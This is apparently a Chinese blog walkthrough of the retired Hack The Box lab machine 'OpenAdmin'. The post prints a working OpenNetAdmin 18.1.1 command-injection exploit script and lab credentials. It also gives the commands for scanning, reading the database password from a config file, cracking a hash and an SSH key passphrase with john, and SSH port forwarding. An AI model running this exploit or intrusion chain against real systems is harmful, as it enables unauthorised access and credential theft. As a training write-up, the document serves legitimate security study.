• HTB-靶机-OpenAdmin


    本篇文章仅用于技术交流学习和研究的目的,严禁使用文章中的技术用于非法目的和破坏,否则造成一切后果与发表本文章的作者无关

    靶机是作者购买VIP使用退役靶机操作,显示IP地址为10.10.10.165

    本次使用https://github.com/Tib3rius/AutoRecon 进行自动化全方位扫描

    信息枚举收集
    https://github.com/codingo/Reconnoitre 跟autorecon类似
    autorecon 10.10.10.171 -o ./OpenAdmin-autorecon

    masscan -p1-65535 10.10.10.171 --rate=1000 -e tun0 > ports
    ports=$(cat ports | awk -F " " '{print $4}' | awk -F "/" '{print $1}' | sort -n | tr '
    ' ',' | sed 's/,$//')
    nmap -Pn -sV -sC -p$ports 10.10.10.171

    或者
    nmap -p- -Pn --min-rate=10000 -sV -sC 10.10.10.171

    就看到开放了两个端口,先看看80端口业务

    默认页面没啥东西,爆破目录看看,这里爆破方法很多,我就使用dirb命令直接爆破吧

    dirb http://10.10.10.171

    最后发现了下面个页面

    artwork 
    index.html
    music
    ona

    上面每个页面都访问了一把,最终发现ona目录有价值

    看到上面显示当前版本是old版本,版本号是v18.1.1 访问了她给的DOWNLOAD,发现是opennetadmin 根据此版本和名称搜索了一把发现了exploit,具体地址如下:

    https://www.exploit-db.com/exploits/47691

    对应的利用方式如下:

    wget https://www.exploit-db.com/raw/47691
    上面的exploit下载下来要在kali下执行dos2unix 将其转换成Linux环境下的文本环境
    
    #!/bin/bash
    
    URL="${1}"
    while true;do
     echo -n "$ "; read cmd
     curl --silent -d "xajax=window_submit&xajaxr=1574117726710&xajaxargs[]=tooltips&xajaxargs[]=ip%3D%3E;echo "BEGIN";${cmd};echo "END"&xajaxargs[]=ping" "${URL}" | sed -n -e '/BEGIN/,/END/ p' | tail -n +2 | head -n -1
    done
    
    将其改名执行
    ./opennetadmin.sh http://10.10.10.171/ona/

    拿到权限通过在靶机上信息搜集

    https://github.com/rebootuser/LinEnum
    https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/tree/master/linPEAS

    得到如下信息

    $ls -la /var/www/
    total 16
    drwxr-xr-x  4 root     root     4096 Nov 22  2019 .
    drwxr-xr-x 14 root     root     4096 Nov 21  2019 ..
    drwxr-xr-x  6 www-data www-data 4096 Nov 22  2019 html
    drwxrwx---  2 jimmy    internal 4096 Nov 23  2019 internal
    lrwxrwxrwx  1 www-data www-data   12 Nov 21  2019 ona -> /opt/ona/www

    然后根据此软件官方的信息,可用得知目标存放数据库配置文件的默认路径

    https://opennetadmin.com/forum_archive/4/t-85.html
    路径:
    ona/local/config/database_settings.inc.php

    $cat /var/www/html/ona/local/config/database_settings.inc.php
    <?php
    
    $ona_contexts=array (
      'DEFAULT' =>
      array (
        'databases' =>
        array (
          0 =>
          array (
            'db_type' => 'mysqli',
            'db_host' => 'localhost',
            'db_login' => 'ona_sys',
            'db_passwd' => 'n1nj4W4rri0R!',
            'db_database' => 'ona_default',
            'db_debug' => false,
          ),
        ),
        'description' => 'Default data context',
        'context_color' => '#D3DBFF',
      ),
    );

    读取到数据配置信息,获得了数据库的账号和密码,因为上面我们收集信息发现一个目录/var/www/有个internal的权限只能是jimmy才能查看到的,所以猜测上面数据库的密码信息是否也跟此用户一样,测试登录一吧,成功登录后查看目录/var/www/internal下面的index.php发现有硬编码加密的密码hash值

    00e302ccdcf1c60b8ad50ea50cf72b939705f49f40f0dc658801b4680b7d758eebdc2e9f9ba8ba3ef8a8bb9a796d34ba2e856838ee9bdde852b8ec3b3a0523b1

    上述hash在somd5上查询 https://www.somd5.com/
    得到结果:Revealed

    得到账号和密码之后要通过web访问,但是我查看到internel对应目录及业务在本地监听一个高端口,外面访问不了,所以需要使用ssh进行端口转发,可以使用本地端口转发,也可以使用远程端口转发都可以,相关操作如下:

    判断目标靶机本地开放internel的相关端口

    jimmy@openadmin:/var/www/internal$ cat /etc/apache2/sites-enabled/internal.conf
    Listen 127.0.0.1:52846
    
    <VirtualHost 127.0.0.1:52846>
        ServerName internal.openadmin.htb
        DocumentRoot /var/www/internal
    
    <IfModule mpm_itk_module>
    AssignUserID joanna joanna
    </IfModule>
    
        ErrorLog ${APACHE_LOG_DIR}/error.log
        CustomLog ${APACHE_LOG_DIR}/access.log combined
    
    </VirtualHost>
    jimmy@openadmin:/var/www/internal$
    本地端口转发
    ssh -NfqL 1337:127.0.0.1:52846 jimmy@10.10.10.171

    然后kali上使用账号和密码访问http://127.0.0.1:1337

    jimmy/Revealed

    发现了加密的私钥,输入账号和密码成功登录之后会调整重定向跳转到main.php文件,就是上面看到的内容,看看main.php的代码内容

    根据显示的信息可以知道私钥的用户就是joanna,现在要做的就是将加密的私钥破解出来密码,然后用私钥登录,下面是具体操作

    开始使用ssh2john转换为john识别的hash,然后使用john进行密码破解
    /usr/share/john/ssh2john.py id_rsa.bak > hash.txt
    开始破解
    john hash.txt --fork=4 -w=/usr/share/wordlists/rockyou.txt

    joanna_id_rsa:bloodninjas

    这里可以直接使用密钥加密钥的密码进行登录了,我这就试试把这个带密码密钥的文件转换成没有密码的私钥文件进行登录

    kali@kali:~/Downloads/htb/openadmin$ openssl rsa -in joanna_id_rsa -out joanna_id_rsa_openadmin
    Enter pass phrase for joanna_id_rsa:
    writing RSA key

    使用用户joanna成功登录目标靶机

    执行一把sudo -l

    可以通过特权nano进行提权

    迷茫的人生,需要不断努力,才能看清远方模糊的志向!
  • 相关阅读:
    基于 HTML5 WebGL 的 3D 仓储管理系统
    基于 HTML5 WebGL 的 3D “弹力”布局
    基于HTML5 Canvas 实现地铁站监控
    基于HTML5的WebGL经典3D虚拟机房漫游动画
    根据矩阵变化实现基于 HTML5 的 WebGL 3D 自动布局
    玩转 HTML5 下 WebGL 的 3D 模型交并补
    基于HTML5 Canvas WebGL制作分离摩托车
    基于HTML5 Canvas的3D动态Chart图表
    基于HTML5 Canvas的工控SCADA模拟飞机飞行
    [iOS]过渡动画之高级模仿 airbnb
  • 原文地址:https://www.cnblogs.com/autopwn/p/14714093.html
Copyright © 2020-2023  润新知